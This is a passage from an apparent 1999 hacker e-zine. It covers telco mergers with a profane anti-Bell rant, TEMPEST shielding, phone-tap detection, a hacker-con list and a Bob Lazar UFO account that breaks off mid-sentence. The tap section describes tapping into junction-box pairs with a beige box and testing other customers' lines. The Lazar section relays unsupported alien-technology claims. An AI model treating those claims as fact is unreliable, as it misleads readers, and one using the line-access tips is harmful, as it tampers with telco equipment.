Telenor/Telia, in a +comment on the signing of the final agreements for a merger of the companies. + +Sweden will own 60% of the new international telco, while Norway will maintain +a 40% stake in Telenor/Telia. They say in time they'll gradually reduce their +ownership stakes to 33.4% each initially. The goals of this new international +telco are to use their monopolistic power to allow them to compete equally with +other telcos on a European and global scale; to increase profitability "through +further development and continued efficiency improvement" (i.e. layoffs); and +finally to develop the company's international business activities, primarily +in the Baltic region and the rest of Europe. + + "GTS and Esprit Telecom Complete US$5 Billion Merger" + --------------------------------------------------- + +On March 5, 1999, Global TeleSystems Group, Inc. (GTS) and Esprit Telecom Group +announced that GTS' shareholders approved the merging of the two international +telecommunications companies. The new company becomes one of the biggest +telecom companies in all of Europe. They combine GTS' position as the leading +alternative network operator in Europe and Esprit Telecom's position as one of +Europe's largest independent pan-European telcos. The deal is worth $5 billion +in U.S. currency. + +Commenting on the successful conclusion on the deal, Gerald W. Thames, GTS's +vice chairman, president and chief executive officer (CEO), said: "This is a +great day for our combined company. Today, GTS is one of the fastest-growing +pan-European telecommunications companies, with a network that currently has a +significant advantage over its nearest competitors. Looking forward, I believe +that about 70 percent of the market's growth will come from providing IP-based +services for data as well as voice. In particular, we need to help customers +overcome the network access bottlenecks they face. We are therefore planning to +have 50 Network Access Points and several web hosting centers up and running in +the next two years. "Through FA-1, our transoceanic cable JV, GTS's end-to-end +European network will be connected across the Atlantic. In turn, we anticipate +this will lead to an increased customer base, both in the U.S. and in Europe. +We are also growing our Internet business based on our Ebone network and have +recently made significant investments in ISPs in Poland, Hungary and the Czech +Republic." + + GTS/Esprit Telecom highlights + +* Europe's largest cross-border fiber optic network, with over 12,000 + operational kilometers, a significant lead over any other operator +* Operations in 20 countries across Europe +* Over 35,000 business customers in Western Europe +* A broad portfolio of business and carrier telecommunications services +* Competitive local exchange carriers (CLECs) in five Eastern European cities, + with plans for 12 in Western Europe over the next three years +* Announced joint venture (JV) to build world's first 1.28 terabits capacity + transatlantic cable system +* 3,000 employees +* Market capitalization of approximately $5 billion +* Latest quarter annualized consolidated revenues of approximately US$565 + million for the two companies combined + +This merger will create six subsidiaries, all under the GTS banner: + +* GTS Business Services - Western Europe under Dr. Hans Peter Kohlhammer +* GTS Access Services under Les Harris, which includes the Central European + region managed by Lou Toth +* GTS Carrier Services under Jan Loeber +* GTS Wholesale Services under Kevin Power +* GTS Business Services - CIS under Stewart Reich +* GTS Mobile Services under Gerard Essing + +For more information about this merger, visit the GTS website at +www.gtsgroup.net. The Esprit Telecom website is at www.esprittele.com . +----- + +I'm sure by the time the 16th issue of the Damage, INC. Newsletter is released, +there will be even more telco mergers and alliances announced. The only general +thread between all of these super fat telcos is that they become more arrogant +and unresponsive to customer complaints. I give a big "FUCK YOU" to all of +these greedy telcos, especially to Bell Canada. As you should have read in the +Introduction, THC Phreak, my friend and a Damage, INC. Member is going through +legal hell because Bell Canada love to flaunt its "power and influence" by +filing false charges against him. + +Bell Canada's arrogance is beyond measure. That arrogance has also been +instilled into their employees, especially their bitchy ops. That is why Bell +employees are vandalizing Bell's HQ in Montreal, while Bell Canada calls the +riot squad so their scabs (75% of their workers) can enter "Bell World." It +will make me feel good to continue to see Bell and their employees to literally +be at each other's throats. They can kill each other for all I fucking care. + +Written by Shatazar ú Damage, INC. (C)opyright 1999. + + +BIG BROTHER BASHING - {BIG BROTHER} +TEMPEST Eavesdropping. + +This article is meant to explain Electromagnetic Eavesdropping, specifically +one form of it known as TEMPEST. Without going into tremendous technical +detail, I will cover the various aspects of this form of spying, describing +what it is, the basics of how it works and countermeasures that you can take +to prevent unwanted interception of your personal data/communications. + +What is TEMPEST? +--------------- + +TEMPEST stands for Transient Electromagnetic Pulse Surveillance Technology. + +Computers and other electronic equipment release interference to their +surrounding environment. You may observe this by placing two video monitors +close together. The pictures will behave erratically until you space them +apart. The emissions from video monitors that are used with computers contain +information in the form of digital pulses (1s and 0s). The channel for this +radiation is in two arrangements, radiated emissions and conducted emissions. +Radiated emissions are assembled when components in electrical devices form to +act as antennas. Conducted emissions are formed when radiation is conducted +along cables and wires. + +Most of the time these emissions are simply thought of as annoyances, or they +just go unnoticed since a lot of people don't often think about the emissions +given off by electronic equipment. However, these "waste emissions" are +frequently used by certain people to take and gather data from someone else, +without their knowledge and consent. For example, if law enforcement wanted to +see what you were working on, without going near your system, they could park a +van outside down the street at a reasonable distance from the location and by +using sensitive electronic equipment they could attempt to pick up and decipher +the radiated emissions from your video monitor. These emissions normally exist +at around 55-245 Mhz and can be picked up as far as one kilometer away. Some +suggest that the range is now even greater than a kilometer. And using a +so-called 'low emission' monitor won't reduce that range. Nor will using a +laptop with an LCD screen. In fact, many LCD screens actually give a better +signal for eavesdropping, which makes them prime targets. + +A monitoring device can distinguish between different sources emitting radiation +because the sources emanating the radiation are made up of dissimilar elements +and so this coupled with other factors varies the emitted frequency. For +example, different electronic components in VDUs, different manufacturing +processes involved in reproducing the VDUs, different line syncs, etc. By +synchronizing our raster with the target's raster we can passively draw the +observed screen in real-time. This technology can be acquired by anyone, not +just government agencies. The target could shield the emissions from their +equipment or use equipment that does not generate strong emissions. However, +TEMPEST equipment is not legal for civilian use in many countries. And +furthermore, the laws in most nations aren't written in such a way as to protect +innocent civilians against privacy violations through the use of TEMPEST either. +That's why the whole idea and use of TEMPEST is such a threat, and why it's +another tool of Big Brother. In fact, it is one of the most potent, silent +weapons in their arsenal. The real key is that the interception is passive, +so there's no way for the target that's being monitored to tell that someone +is electronically eavesdropping on them, and that the security of their most +private data has been compromised. In essence, they're none the wiser due to +the fact that TEMPEST is an extremely "stealthful" means of spying on them. + +Countermeasures/Protection: +-------------------------- + +There's ways of shielding cables and systems to reduce the chances of TEMPEST +being used against you. There is also a new type of technology that's known +as Soft Tempest, which when implemented properly prevents TEMPEST monitoring. +And recently developed Soft Tempest fonts can be used to protect against +government eavesdropping of what you're typing. What still needs to be done +is the implementation of Soft Tempest for the various operating systems that +individual end users are using today. PGP, Inc have a limited implementation +of Soft Tempest fonts to protect password entry in PGP 6.02 (now available in +an International version from http://www.pgpi.com) but a multi-platform, +OS-level implementation of Soft Tempest is what is really required. + +There is another approach in which you attempt to reduce the quality and range +of unintended emissions so that it makes the task of effectively eavesdropping +on you more difficult and impractical. For example, if an agency wanted to +monitor the emissions from your system, but you had taken several steps to +block, shield and filter them already, instead of being able to park a van a +kilometer or more away, they'd have to get much closer to the target system. +And if you've done the job properly, they would have to be within a very short +distance, say less than 100 feet or so, which makes them more obvious to being +noticed by you. So, even though you didn't prevent all electromagnetic emissions +from escaping, at least you limited enough so that they can't monitor you from +a well hidden, safe distance away. + +What about zero emissions? Well, that's not a very practical, feasible goal +to have. Reducing all unintended emissions to zero is extremely difficult to +say the least, since it requires specialized "quiet" hardware, cables, +connectors, etc. + +Here are a few ways to begin limiting and reducing EM emissions: + +- Use computer equipment that meets modern "Class B" level standards for + emissions. Computers and peripherals that meet the Class B standard means + that they have only one-tenth the power of spurious emissions than equipment + with the Class A standard. For existing equipment (such as monitors) that + you already own and use, check the FCC ID number. You can use that to find + out which standard applies to your monitor by contacting the FCC Consumers + Assistance Branch. + +- Never operate your computer system with the cover off, as that compromises + the shielding integrity to a large degree. And make sure that all open + expansion slots have heavy metal slot covers secured at the back so that + electromagnetic emissions don't have a big gap with which to escape. + +- Always use shielded cables for all of your system's interconnections. A + shielded cable is one that surrounds the core of wires with a metal braid + or foil, which keeps signals confined to its core instead of allowing them + to emit. Unshielded cables can act like an antenna for signals that are + generated by computers and peripherals and should never be used. Also, + avoid buying used, cheap, low quality cables. Try to keep the cables + separate from each other and as short as possible. The reason for using + cables of a reduced length is that it lessens the chance that they can act + as an antenna. So, the shorter the cable is, the better. + +- Block radiation from the power cord(s) into the house wiring. Even though + the majority of computers have an EMI filter built into them where the AC + power cord enters the power supply, you should consider adding a special + EMI AC filter to reduce the power retransmitted down the AC power cords of + your equipment. They simply plug into a wall socket and generally they are + reasonably priced. You should plug both your monitor and CPU into a filter. + +- Telephone lines are poorly shielded, so an EMI filter that's designed for + modular telephone jacks should be used. You can plug your telephone, + FAX/modem into them. So, invest in a modular telephone line filter and + keep the line as far away from sources of power such as power supplies in + computers, peripherals and the back of monitors. Since the internal thin + telephone lines that are running through your house are unshielded, the + magnetic field from those devices can transfer to them quite easily... + through magnetic induction, which in turn may end up compromising your data. + +- Use other shields such as a good EMI "ground" shield for your computer + equipment. Use a heavily shielded case, or shield off a small area + surrounding the system, peripherals, cables, etc. If you're knowledgable + in the area of electronics, you may want to consider using bypass capacitors + on your actual motherboard... for increased filtering. However, these are + difficult to implement and a working knowledge of electronics is definitely + required. You can use copper foil tape to shield the exterior case of a + system, or small external peripherals/devices. + +- Use an AM radio to check the effectiveness of your shielding efforts by + putting the radio close to your system and it's cables. Make sure your + computer and peripheral cables are apart so that each one can be checked + individually. If you don't hear any static, move on to the next cable and + check it. Finally, if you don't hear any significant amount of static, + you'll know that your system is well shielded. You can also use a compass + to detect magnetic field emissions by moving it close to the back of a + monitor or near cables. The greater the amount of deflection, the higher + the amount of emissions. Then move it further away to see how far the + emissions are travelling. + +To conclude this article, if you're concerned about personal privacy and the +security of your system and its data, you may want to think about taking steps +to prevent TEMPEST eavesdropping from affecting you. In other words, take +actions to stop it before Big Brother takes action against you first. Act now +or forever forfeit your information and your privacy. + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. + + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Detecting phone taps Part 1. + +This article is the first part of a two part series that's dedicated to +explaining various methods of detecting phone taps. The techniques described +aren't complex by any means, but at least they're a start. The main focus +of this article is on physical security and requires no expensive, detection +hardware. In addition, some of the various types of phone taps will be +explained so that you may gain a basic understanding of what they're capable +of doing and what things to look for and be aware of. I'll start with a few +tips that are based on the experiences of those in Damage, INC. + +Visual and Physical Inspections: +------------------------------- + +If you're suspicious of the existence of a phone tap, you should begin by +doing a full inspection of all telecom equipment, phone jacks and internal +phone wires/lines leading out of your residence. Carefully check the hookup +of all pairs of wires/lines wherever they enter, and open up the telco box +which is normally attached to the exterior of the house. In Canada, they're +usually grey or beige in colour and made by Northern Telecom. Look for the +small "NT" logo on them. Generally they can be opened without any tools as +the covering isn't affixed by screws, but rather just clips on and off. If +you notice anything abnormal, strange looking, or any devices attached that +weren't previously there (or that you don't think are required to be on the +line, and most often they aren't), remove it immediately. Then proceed to +test your line to the best of your capabilities (on hook, off hook, ringing). +At this point, you may want to dial your phone number from an alternate line +to see if it rings. Or use a ringback. You may also want to call someone +else to test outgoing calls. And of course, if you have a voltmeter, you +can run tests on the voltages of the line itself. It might be a good idea +to test the voltage before and after any such devices are removed, for +comparison, even though it's only a basic, primitive test that obviously +won't expose every type of line tap. + +After tracing the line and inspecting it from inside and outside of your house, +the next step is to go as far back to the source as possible. Obviously most +people won't break into switching stations or their CO, but at least figure +out whether your line runs underground to a junction box, some other type of +Bell Can on the ground or up on a telephone pole. After you've found that +out, you'll need a beige box/lineman's handset, tools, a voltmeter and an ANAC +number to use in order to find out which pair of wires is your line. Once +you've determined which line is yours (by dialing the ANAC), inspect it for +any abnormalities. Then test the voltage of the line and compare the result +with that of other customer's lines. They may differ slightly, but any +significant differences in voltage indicate that something is awry... and the +line may be tapped. Again, if there are any strange looking devices attached +to the pair of wires (Ring and Tip), then remove them and test the line again. +You may want to bring along a small notebook and a pen to record your results. +Another test is to try dialing your own number from your line to see if it +will ring busy. If it doesn't, there's definitely a problem. + +If you do find anything out of the ordinary, and remove any device(s), make +sure you re-check the line again several times for weeks. Just as, if you +happen to notice a Bell worker near your house working on the lines, installing +a new line (especially wires running to the box)... you should be suspicious. +If you happen to live in an apartment, your task might be more difficult. To +find out which line is yours, you may have to go into the basement or check +outside for telephone wires... hookup a beige box to each line and dial an +ANAC until it reads back the correct number for your phone line. + +Audible Anomalies: +----------------- + +While talking on the phone, be aware of any audible anomalies, such as strange +clicks, weird tones (they may be extremely faint though and almost inaudible), +buzzing noises, any other extraordinary sounds or even silences and sudden +volume increases/decreases. Any of those can be a sign that your line has been +tapped or is in the process of being tapped. So, be alert if you suspect that +there's any possibility that your phone line may be monitored by someone. It +could be someone at the junction box, or even the telco itself. If you +experience these things on a regular basis, check your line as thoroughly as +you possible can, as soon as possible. It could just be a poor quality line +that's riddled with line noise or some other problem that's responsible and +unrelated to a tap. Then again, it might just be that your line has been +tapped. And if the latter is the case, you don't want the tap to remain there. +So, check the voltages to make sure they're correct. If you don't know what +they should normally be, cross reference them with a friend's line in your NPA +by checking those. If they don't match to within +/-1 volt, you might want +to take further action and due further testing with more sophisticated equipment +such as an oscilloscope. If you're constantly hearing clicks (especially at +certain times of the day, consistently), buzzing sounds or drops in volume, +you may even want to hire someone to test your line for you. As in, hire a +company that's independent from your local telco (if you suspect them in the +least for being responsible). Sure, that isn't a free solution, but if you +aren't technically inclined/knowledgable and don't have the necessary equipment +to do the testing yourself, it's an option that you should consider if you're +serious about your personal privacy and security. + +Possible Warning Signs: +---------------------- + +- You've noticed static, snapping, crackling, popping, or scratching sounds on + your phone lines. This can be caused by the capacitive discharge which occurs + when two conductors are connected together (such as a bug or wiretap on a + phone line). + +- You can hear sounds coming from your phones handset when it's hung up. + Typically caused by a hookswitch bypass, which turns the telephone receiver + into a eavesdropping microphone (and also a speaker). If that's happening, + there is probably someone listening to everything you say or do. + +- Your phone often rings and nobody is there, or a faint tone, or high pitched + squeal and beep is heard. This is a key indicator of a slave device, or line + extender being used on your phone line. It's also a key indicator of a + harmonica bug, or infinity transmitter being used. + +- You receive unwarranted, unsolicited calls from the local telco (ie, they + aren't returning your call). They may make an excuse such as "We're just + running some tests on your phone line." + +- Your radio has suddenly develops strange interference on stations that + normally have clear reception. Many amateur eavesdropping devices use + frequencies within the FM radio band, these signals tend to "quiet" an FM + radio in the vicinity of the bug. Look for the transmissions at far ends of + the FM band, and at any quiet area along the FM band. If the radio begins + to squeal then slowly move it around the room until the sound becomes very + high pitched to locate the bug (this is referred to as feedback detection or + loop detection). + +- You notice that "Phone Company" trucks and utilities workers are spending a + lot of time near your home doing repair work. If they are in the same + vicinity for several days, you definitely shouldn't ignore their activities + and assume that they're not doing anything out of the ordinary. + +- Telephone repairmen show up to do work when they weren't called and asked + to do so. + +- Service or delivery trucks are often parked nearby with nobody in them. + These vehicles are commonly used as listening posts, so be very cautious of + any vehicle which has a ladder or pipe rack on the roof. Also, be wary of + any vehicles with tinted windows, especially service vans. They are used + to conceal people and listening equipment in the back. + +Types of tapping devices: +------------------------ + +I was going to describe the physical appearance and workings of various +tapping devices, but due to lack of time I decided to include that information +in the next part of this article. It'll explain each device thoroughly, which +is something that I wouldn't have been able to do at this point in time. + +In conclusion, everything that has been discussed in this article is just +common sense. There's nothing that can be viewed as being too technical or +impractical for the average reader. Therefore, as mentioned, I plan to write +a second article on detecting phone taps, with the focus being on the more +technical aspects, techniques, countermeasures, devices and equipment. So, +look for that to be included in a future issue of the Damage, INC. Newsletter. + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. + + +BREAKER'S REVIEWS - {REVIEWS} +H/P Con Reviews. + +After a little break, no pun intended here they come again. This issue +is dedicated to cons. Cons are a great places to meet people and to get +drunk and fall down. You can also learn some cool stuff, try to catch +one where Mudge is giving a talk. Buy him a Guinness and he'll love you +for life. + + +www.defcon.org + +We all know this site. I have even reviewed it before, but no con list +would be complete without mentioning the big one. This one is run by +Dark Tangent and is the biggest hacker con of them all. It takes place +in July of every year in the stinking pit that is Las Vegas and attracts +hackers, phreakers, feds, and newbies alike. + +www.xcon.org + +Xcon is a relatively new con. It's held in Austin or Dallas, one of +those Texas cities. + +www.cuervocon.org + +Cuervocon named after the dangerous tequila. It's held in the equally +dangerous town of Brownsville, Texas. If you stumble out of the hotel +in a drunken haze, you may end up in a Mexican prison. This con usually +takes place around X-mas or New Years. HoHoCon used to occur at this +time, but I don't know if it is dead or not. + + +Pumpcon + +www.pumpcon.net + +Pumpcon is an invite only con. It is usually held in Philly every year +around Halloween. Although two years ago it was in Pittsburgh. This +con rox, my favorite. Because it is invite only, there are very few +kiddies, tons of drinking, and you get to meet some weird amazing +people. + +Access All Areas + +www.access.org.uk + +This is the premier UK con. However, I don't know if it is going to +continue. The mailing list is still thriving, but the future of the con +is suspect, it didn't happen last year. + +Conspiracy + +www.dac.org/conspiracy + +Conspiracy is the UK hacking preaking X-mas party. This party sounds +like one hell of a time. Hopefully I'll make it one year. + +Phreaknic + +www.se2600.org/phreaknic + +A con put on by the South Eastern 2600 crew. They have a mailing list as +well. I don't know much about this con, but it seems like they have +been partying their phreaky asses off for the last two years. + +seccon + +www.seccon.org/main.html + +The con down under! I think this is Australia's first hacker con. I +could be wrong. + +HOPE/BeyondHOPE + +www.hope.net + +Hope and BeyondHOPE in NYC. What can you say? The east coast mega con. +I think BeyondHOPE rivaled Defcon in attendance by both hackers and the +media. Many great speakers, contests, promos etc. Will there be +another HOPE, only emmanuel knows. + +Summercon + +www.summercon.org + +The mobile con. This con officially has no fixed location it has been +moving around every year. Usually held in June sometime. It was in +D.C., was rumoured to be in Chicago one year, but for the past two +years, it has been in Altanta. It also used to be invite only, then in +96 changed over to a public con. + +Chaos Computer Club + +www.ccc.de + +One of the oldest hacking groups in Germany. They hold the Chaos +Computer Club Congress in Germany. The topics range from European phone +systems and GSM to hacking and encryption. I would love to attend this +some day. + +Hacking in Progress + +www.hip.nl + +I don't know whether this con is a yearly event or not. I know in 97 it +coincided with BeyondHOPE. A can't imagine a more surreal experience, +hundreds of hackers in tents with wires running all over the place in a +field in the Netherlands. Sounds like a plan to me! + +Rootfest, no not the r00t who owns you and MTV apparently. + +www.rootfest.org + +Rootfest is a new con bringing h/p to a needy mid-west. Giddy-up! The +first annual meeting will be in May in Minneapolis. The speakers list +seems impressive. I want to see everybody there. + +RubiCon + +www.rubicon.org or www.rubi-con.org + +Another con in the mid-west, your kidding. Hell no, one week after +Rootfest, it's rubicon. Are two cons in two weeks too much? We shall +see. This one is in Michigan. I don't see both of these cons lasting, +as Optimus Prime said "One shall stand, one shall fall." + +Controversy + +www.gateweb.co.uk/~controv/ + +This was another UK con. The site is down now. + +Havoc-con + +www.sel-mor.com/Krac/hav-con.htm + +This site is down as well. I have no clue about this con, or whether +it happened or not. + +CAUcon + +www.caugh.org + +The Computer Academic Underground's con. These boys from 847 in Texas +held their first local con in 1997. The second annual CAUcon is in the +works. + +Canc0n + +members.tripod.com/~hwaO_2k/canc0n.html or come.to/cancon99 + +Someone call the RCMP because h/p is heading north to Canada in 1999. +Plenty people have tried to have a Canadian con, maybe this one will be +it. It's gonna be in August around the Niagara Falls area. They are +going to be sending imacs over the falls. + +Blackhat Briefings + +www.blackhat.com + +This is a high priced con for hackers with jobs. It is held a few days +before Defcon in July. It cost a few grand so expect to see many +corporate types. + +Raincon + +The other west coast con, held in seattle. I can't remember the url, and +I don't know whether this ever happened or not. + +* InfoWarCon (check to see if there's one being held for 1999) + +www.h2k.com +Hope 2000 +One of the biggest and baddest cons returns. If anyone attended +Beyond Hope you remember how much it kicked ass. Well this one is +still in the planning phase, but I'm sure it will be just as good. So +until then join the mailing list and help with the planning. + +www.ccc.de.camp + +Updated of Chaos Computer Club Camp + +http://www.nswc.navy.mil/ISSEC/CID/shadowcon99/shadowcon.html + +There are also various other local Bar-b-ques, meetings, gatherings, +bell bashes, etc. Check your local listings for these happenings. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +Bob Lazar/Area S-4 Part 2: Lazar's experiences. + +In my last article, I acquainted the readers of the Damage, INC. Newsletter with +Bob Lazar, a physicist that claimed he was employed at Area S-4 in the Nevada +Test Site during 1988-89. During the time Lazar worked there, Area S-4 housed +9 extraterrestrial craft. In this article, I will reveal to you Lazar's +experiences with the alien technology that is in possession of a secret +department of the U.S. Government. The reason I am writing this article is to +share Lazar's story with you. It is up to you to decide whether to believe his +story or not. At least you'll know some details about this extraordinary story, +rather than just being ignorant about it. + +Lazar remembers the briefings he read: +-------------------------------------- + +Last issue I mentioned that during his first day of work at Area S-4, Bob Lazar +spent the day reading various classified briefings. Since he has come forward +publicly, Lazar has revealed the contents of some of the briefings he read that +day. However, he has stated that he doesn't like talking about them because +they could have mixed in disinformation with other information that he confirmed +during the hands-on experimentation he conducted at Area S-4. At least Lazar is +wise enough to realize that. + +At that time he was in a secluded room (most likely with armed guards on the +other side of the door) he was given 121 navy blue paper file folders. To his +recollection, each folder contained an average of two or three pages. One of +his first observations was that what he was presented with was censored, +containing no titles or authors. He also concluded that the briefings he +received were extracted from larger reports. + +Most of the briefings he read dealt with the propulsion system, the reactor, the +fuel (which he discovered was Element 115) of what he assumed at that time was a +highly advanced craft developed solely by base scientists and engineers. Even +when he read about the reactor, it didn't dawn on Lazar that the technology was +of extraterrestrial origin. Lazar: "We were developing [it]... because it was +just a very brief overview of what was going on..." "It all made sense to me... +of course, in my mind, I thought, boy, have we come far from what... I thought +I was on the cutting edge of science here... how could this have possibly gone +on?" + +As the day progressed, he read more briefings. Finally, he came across one +that really blew his mind. It consisted of two black and white 8x10 +photographs. The two pictures were of an alien being which looked like a +classic "grey". Lazar: "Yeah. Actually the autopsy report we're talking about +was two photographs with notations on the bottom... this is what I've called the +autopsy report." "They [the notations] were mostly weights and measures. One +was an upper torso... of the creature... And they had cut the chest open in a +T fashion and peeled it back... and there was a separate inset on the photograph +of... you know how fresh liver looks like it's liquid almost?" It took this +kind of evidence to confirm that he was in the presence of alien spacecraft... +and not the United States' "highest" technology. Lazar: "I know when I saw +those photographs there was no doubt in my mind that we were dealing with alien +technology... by that time I had already begun to realize what was going on..." + +After being stunned by the pictures, Lazar found a very strange book. The book +looked like a standard book, but was two books in one. Just imagine two books +with the back covers touching. Then take away the back covers and form it into +one book. Lazar recalls that one side was very strange. It contained an eerie +look at the human race. Lazar: " The text was about living conditions here... +about different... there was a guy that lived in a hut... it was like a National +Geographic book more or less... It was very simplistic and it just showed what +lived in a dwelling like that... but the same thing... as you moved the page, +this guy's clothes would drop... his skin would come off his muscles... it would +do that... and instead of sitting there reading most of the text, I played with +the photographs... because even looking up close, I could not see..." To +understand what Lazar is saying, take a look at the "Human Beings" section in an +encyclopedia like World Book. They have mylar plastic pages showing various +systems of the human body. With each "page" of mylar, you can strip away a +system of the body, eventually down to the skeleton. If you think that part of +the book Lazar viewed is disturbing, wait until I describe what the other side +contained. + +When Lazar flipped the book upside down and started to read, he was shocked yet +again. It was about aliens... perhaps the aliens that provided the craft to the +secret government department he worked for. In this book, Lazar states that the +aliens came from Reticulum 4 in the Zeta Reticuli system, which is 30 light +years away in the southern hemisphere sky. A few other pages contained general +information about alien craft. What confused Lazar was that the book was +written from an "alien point of view." Instead of the term "humans", the term +"biological container" was exclusively used to describe us. Lazar: "Yeah, of +the nature... but there are lots of if's here... cause you have to step back +even... because... are containers actually people... is number one? Because at +no point in there did it say -- containers are humans... okay? So... +immediately you're on unsteady ground..." While being interviewed, Lazar also +commented on the english used in the book. Lazar: "... but it was so neutral... +it was edited to be so neutral that you really couldn't grasp anything out of +it." + +In another briefing that Lazar read later on, he was again confused when he read +that "containers" have been genetically corrected 65 times throughout "the +containers evolutionary process." However, after learning that assumptions can +only lead to being stunned, shocked, and unprepared to learn new things, he +seems to have learned a lesson. Lazar: "The only thing that I've continued +absolutely to stand on is the material that I read in the briefings that was +corroborated by the hardware." "Right, just because someone actually came from +another planet, does not mean they don't know how to lie. Or have motives to do +it." + +During an interview, Lazar made a statement that he believed Area S-4 was not in +existence before 1976. He also believes that Area S-4 was created because +around that time is when the U.S. obtained the 9 alien craft. He says he based +this assumption on the briefings he read. + +Hangar description: +------------------- + +The hangars were all connected together. Lazar described the area that the +craft sat as being like a "car show room". Each hangar area was identical in +size, and all the hangar bay doors led outside. There were also doors similar +to garage doors that could be opened to allow access between each hangar area. +That is why Lazar claims that there were nine craft. He was actually able to +see a total of 9 hangar areas because all of the side doors were open at one +time. Lazar had to tell his interviewer that he wasn't able to get close to any +of the craft other than the "Sport Model" for fear of being beaten or killed by +security forces. + +The "Sport Model" craft: +------------------------ + +One day while arriving at work, Lazar's supervisor Dennis told him that they +were going to enter the facility through the hangar. This was the first time +that Lazar encountered the craft which he later named the "Sport Model". At +that point, he assumed it was a highly advanced fighter made by U.S. scientists. +Lazar was excited when he realized that it was what he was going to be working +on. Obviously, his emotional reaction was to examine the craft, but the +oppressive guards told him to keep looking straight ahead. However, he walked +close enough to the "Sports Model" to brush his hand against it. Lazar: "It was +cold, so I thought it was metal. And to this day I still don't know... it felt +metallic." However, Lazar admitted that till this day, he cannot confirm if the +craft was indeed metallic. Despite being a scientist working on the project, he +never got a metallurgical report. + +Using his own perception, the "Sport Model" had a diameter of approximately +52'. In all of the interview transcripts, Lazar didn't give a very detailed +description of the "Sport Model". Lazar: "I only assume that that's what was +going on in the top part of the craft and that's [piloting] what these +windows... they aren't really windows... but I always assumed that they were +sensor rays of some sort... that wherever the craft was that's how it got its +lock on where it was... whether it matched up stars or whatever the thing was +looking at, but I think that's where the sensor ray was from here up was +everything to do with navigation." + +Inside the "Sport Model" craft: +------------------------------- + +There was one time in which Bob Lazar got the ultimate experience. With Dennis, +he was allowed to enter the fully functional "Sport Model". This experience +occurred after Lazar brushed his hand against it. As he entered the craft, +Lazar experienced some very strong emotions. Lazar: "...it was such an eerie +feeling... the feeling was that... it sounds stupid... the feeling was that I +shouldn't be in there... that we shouldn't be in there... a feeling of +trespassing... a feeling... because it felt so unbelievably alien... no pun +intended, but there was nothing that seemed familiar at all..." + +Nothing familiar indeed. Lazar described the inside of the craft as a huge +mass of seamless, colorless metal. There was no right angles or anything close +to an earthly design. The interior was obviously not designed for humans +because Lazar had to hunch down, and others inside the craft with him had to +crawl because they were larger men. He even claims to have seen small chairs... +much smaller than ones made for an average adult human. In an interview, Lazar +summed up his experience. Lazar: "...I kept replaying the event of mainly being +in the craft itself, trying to remember... wondering why so much empty space... +wondering what was on the upper level... just thinking how absolutely simple +everything was and comparing it to systems that I'm familiar with... telephones +looked more complicated than what was going on there... no buttons... no +anything... tremendous amounts of power being generated, but there's no +wiring... it was... it's a first approximation." "... it's [first itineration +is] the simplest cartoon drawing of how everything works and then the first +approximation with all the technicalities to it... but it was a functioning +first approximation... and it was just so simple... the way everything was laid +out... that's really all I thought about... the other reports... I guess the +technology had taken me so much because it was such an impression as compared to +reading words... actually being there and facing it... that was what left an +impression." Basically, it was unlike anything that Lazar had ever seen before +and yet at the same time, the interior of the craft looked simplistic. + +Lazar's Lab: +------------ + +Before I can tell you about Lazar's experiences with the various systems of the +alien craft, I should describe the laboratory that he and his colleague Barry +worked in. The main laboratory was "fairly large". There the scientists had +equipment for analysis, etc. In an area at the back of their laboratory sat one +of the alien gravity amplifiers, and an alien anti-matter reactor. It was the +location where Lazar gained his hands-on experience with alien technology. + +The anti-matter reactor: +------------------------ + +The anti-matter reactor that powers the alien craft is obviously the heart of +all of the alien technology. Lazar believes that the 9 alien craft used the +same type of reactor, since he claims to have seen more than the one in the +"Sport Model". Despite the great amounts of power that it generates, it is +extremely simple to turn on. Lazar: "It's a plate about 18 inches in diameter +with a sphere on top. Inside that tower is a chip of Element 115 they just put +in there. That's a super-heavy element. The lid goes on top. And as far as +any other of the workings of it, I really don't know, you know, [such as] what's +inside the bottom of it . . . 115 sets up a gravitational field around the top. +That little wave guide you saw being put on the top: it essentially siphons off +the gravity wave, and that's later amplified in the lower portion of the craft. +But just in general, the whole technology is virtually unknown. That is it." +According to Lazar there are no working parts. Just plug in some Element 115 +and the reactor starts generating power through an anti-matter reaction. + +What amazed Lazar was the pure efficiency of the alien reactor. During an +interview, he shared his thoughts. Lazar: "There's an annihilation reaction. +It's an extremely powerful reaction, a hundred percent conversion of matter to +energy, unlike a fission or fusion reaction which is somewhere around +eight-tenths of one percent conversion of matter to energy." That is what I +found very interesting. If our terrestrial resources could be converted from +matter to energy at a rating of 100%, the fat power companies would be out of +business. If Lazar is telling the truth, I can believe that an alien craft +would have the power to cross star systems. + +In addition to a huge amount of electrical power, the anti-matter reactor also +creates a gravity wave. Lazar: "Well, that reactor serves two purposes; it +provides a tremendous amount of electrical power, which is almost a by-product. +The gravitational wave gets formed at the sphere, and that's through some action +of the 115, and the exact action I don't think anyone really knows. The wave +guide siphons off that gravity wave, and that's channelled above the top of the +disk to the lower part where there are three gravity amplifiers, which amplify +and direct that gravity wave. In essence creating their own gravitational +field." That is amazing considering we don't fully understand what gravity is +and how it can be used yet. Even Lazar admitted to an interviewer that gravity +isn't understood by human scientists. + +Why is the production of a gravity wave useful? Lazar explains this as well. +Lazar: "It allows you to do virtually anything. Gravity distorts time and +space. By doing that, now you're into a different mode of travel, where instead +of travelling in a linear method -- going from Point A to B -- now you can +distort time and space to where you essentially bring the mountain to Mohammad; +you almost bring your destination to you without moving. And since you're +distorting time, all this takes place in between moments of time. It's such a +far-fetched concept!" The interviewer then immediately assumed that it was a +time machine. Lazar answered this interesting question as well. Lazar: "No, +not essentially. It would be easier with a model. On the bottom side of the +disk are the three gravity generators. When they want to travel to a distant +point, the disk turns on its side. The three gravity generators produce a +gravitational beam. What they do is they converge the three gravity generators +onto a point and use that as a focal point; and they bring them up to power and +PULL that point towards the disk. The disk itself will attach ONTO that point +and snap back -- AS THEY RELEASE SPACE BACK TO THAT POINT! Now all this happens +in the distortion of time, so time is not incrementing. So the SPEED is +essentially infinite." + +The propulsion system: +---------------------- + +Lazar's work was dedicated to back engineering the propulsion system. Lazar: +"The amplifier form itself was about two feet in diameter and four feet long... +the reactor was maybe eighteen inches... The entire propulsion system is +powered by the alien anti-matter reactor. With such massive amounts of power +and the gravity waves that are created, extremely simple design is +possible." + +What does the amplifier do? How does everything link together? I'll let Lazar +give you a very basic explanation. Lazar: "The power source is an anti-matter +reactor. They run 